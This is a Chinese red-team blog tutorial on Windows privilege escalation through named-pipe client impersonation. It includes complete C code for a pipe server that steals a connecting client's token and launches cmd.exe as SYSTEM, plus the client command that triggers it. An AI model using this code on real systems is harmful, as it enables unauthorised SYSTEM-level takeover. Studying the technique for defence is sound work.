利用命名管道进行权限提升

Andrew 2020-12-01
专栏 - 观点观察 发布于 2020-12-01 13:57:03 阅读 99 评论 0

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

No.1 前言

命名管道是Windows 比较经典的一个概念并且Linux也有,但是两者用途并非相同。那么什么是命名管道呢?

Win32 SDK定义管道为两种:

匿名管道(Anonymous pipes ):匿名管道通常在父进程和子进程之间传输数据。它们通常用于重定向子进程与其父进程之间的标准输入和输出,且不支持通过网络进行通信。

命名管道(Named pipes):命名管道可以在不相关的进程之间传输数据,前提是管道的权限授予对客户端进程的适当访问权限。

着重讲命名管道:它可以在同一台机器或不同机器间的不同进程间提供通信,拥有一个Pipe Server和一个或者多个Pipe Client,在它们之间进行单向或者双向通信的管道。

我们的目的是为了通过命名管道来进行权限的提升,这里还需要涉及到安全描述符(Security Descriptor)的概念。

在Windows系统中,对某进程或者线程的权限信息是使用安全描述符来定义的。它是一个结构体,由 安全标识符(Security Identifies)、DACL、SACL以及其自身控制位组成,其中DACL和SACL组成访问控制列表(ACL,Access Control List)。

主要来看DACL,DACL是安全描述符中最重要的,它里面包含零个或多个访问控制项(ACE,Access Control Entry),每个访问控制项的内容描述了允许或拒绝特定账户对这个对象执行特定操作。在Win32实体程序中设置了一个NULL DACL,那么意味着任何人都有权限对其进行访问控制。

设置安全描述符的API函数为 SetSecurityDescriptorDacl

关于更多访问控制模型内容,请参考:Security Descriptors

No.2 命名管道的利用

利用命名管道提权的重要原因:命名管道允许服务端进程模拟已连接的客户端进程,API名称为*ImpersonateNamedPipeClient() *

如果使用非管理员权限去启动命名管道的服务端进程进行监听,而以管理员的客户端进行连接,不一定能够成功,想要进行提权,启动服务端的用户还需要某些特权,如:SeImpersonatePrivilege、等等

使用** whoami /priv **查看权限

而该权限一般是系统使用在本地服务账号或者网络服务账号的,所以当我们因为某服务账号启动服务的漏洞而获得权限之后,就有了 Local Service或者Network Service权限,看似权限很低,但可以利用他进行权限提升至System权限

从管理员提升至SYSTEM权限

首先,先抛出代码段

#include "stdafx.h"

#define SERVICE_NAME "Elevate"
#define PIPE_PATH "\\\\.\\pipe\\elevate"

int main()
{
  char directory[_MAX_PATH];
  char servicePath[_MAX_PATH];
  char serviceName[128];
  char recv[1024];
  DWORD bytes;
  bool connected;
  HINSTANCE hinst;
  STARTUPINFOA si;
  PROCESS_INFORMATION pi;
  HANDLE token;
  HANDLE newtoken;
  HANDLE ptoken;


  HANDLE namedPipe = CreateNamedPipeA(PIPE_PATH, 
    PIPE_ACCESS_DUPLEX, 
    PIPE_TYPE_MESSAGE | PIPE_WAIT, 
    PIPE_UNLIMITED_INSTANCES, 
    1024, 
    1024, 
    0, 
    NULL
    );

  if (namedPipe == INVALID_HANDLE_VALUE) {
    printf("[!] Could not create named pipe\n");
    return 0;
  }
  else {
    printf("[*] Named pipe created: %s\n", PIPE_PATH);
  }

  srand(GetTickCount());
    connected = ConnectNamedPipe(namedPipe, NULL) ? TRUE : (GetLastError() == ERROR_PIPE_CONNECTED);

  ZeroMemory(&si, sizeof(si));
  si.cb = sizeof(si);
  ZeroMemory(&pi, sizeof(pi));

  if (connected) {
    for (;;) {
      printf("[*] Waiting for pipe connection...\n");

      ZeroMemory(recv, sizeof(recv));

      // 读取客户端连接信息
      ReadFile(namedPipe, recv, sizeof(recv), &bytes, NULL);

      printf("[*] Read %d Bytes: %s\n", bytes, recv);

      printf("[*] Attempting to impersonate client\n");
      if (ImpersonateNamedPipeClient(namedPipe) == 0) {
        printf("[!] Error impersonating client\n");
        return 0;
      }

      if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &token)) {
        printf("[!] Error opening thread token\n");
      } 

      if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &ptoken)) {
        printf("[!] Error opening process token\n");
      }

      if (!DuplicateTokenEx(token, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, TokenPrimary, &newtoken)) {
        printf("[!] Error duplicating thread token\n");
      }

      printf("[*] Impersonated SYSTEM user successfully\n");
      if (!CreateProcessAsUserA(newtoken, NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) {
        printf("[!] CreateProcessAsUser failed (%d), trying another method.\n", GetLastError());

        ZeroMemory(&si, sizeof(si));
        si.cb = sizeof(si);
        ZeroMemory(&pi, sizeof(pi));

                // 使用CreateProcessAsUser API提权失败的情况下,使用CreateProcessWithTokenW 函数
        if (!CreateProcessWithTokenW(newtoken, LOGON_NETCREDENTIALS_ONLY, NULL, L"cmd.exe", NULL, NULL, NULL, (LPSTARTUPINFOW)&si, &pi)) {
          printf("[!] CreateProcessWithToken failed (%d), trying another method.\n", GetLastError());


          ZeroMemory(&si, sizeof(si));
          si.cb = sizeof(si);
          ZeroMemory(&pi, sizeof(pi));
          if (!CreateProcessAsUserW(newtoken,NULL,L"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,(LPSTARTUPINFOW)&si,&pi)) {
            printf("[!] CreateProcessAsUserW failed (%d).\n", GetLastError());

            return 0;
          }
          return 0;
        }
      }
      printf("[*] All Done.. enjoy... press any key to finish\n");
      getchar();
      return 0;
    }
  }
    return 0;
}

编程方面主要步骤为

初始化命名管道

服务端启动监听

客户端传递信息

服务端接受信息

利用客户端提供权限进行提权

操作演示

为了方便演示,此次使用psexec提前进行提权获取system权限,以此作为传递信息的客户端。

从上面的演示中可以直观的理解编程顺序,需要system权限的客户端与管道进行通信,之前说为了掩饰而提前进行的提权,实际上当我们是管理员权限时,有很多方式使Windows利用system权限对管道发起通信,例如:创建服务(PSEXEC的原理)、创建计划任务等等

echo hello >> \\.\pipe\elevate

服务端模拟客户端,使用特权为 SeImpersonatePrivilege (身份验证后模拟客户端)

后续讲解的管道土豆提权,从服务账号到SYSTEM权限就是利用这一特性。

注:仔细看到GIF中演示的一段:

[!] CreateProcessAsUser failed (1314), trying another method.

是因为在编程过程中使用了多种API创建进程,代码中已给出注释。

No.3 总结

命名管道是红队在横向移动时非常重要的一种手段,可以作为信息传递的媒介,同时也可以利用权限的特性,进行提权。

原创: 孤岛 雷神众测
原文链接:https://mp.weixin.qq.com/s/604GdD9Z9y9Ms7e...

本作品采用《CC 协议》,转载必须注明作者和本文链接
讨论数量: 0
(= ̄ω ̄=)··· 暂无内容!
请勿发布不友善或者负能量的内容。与人为善,比聪明更重要!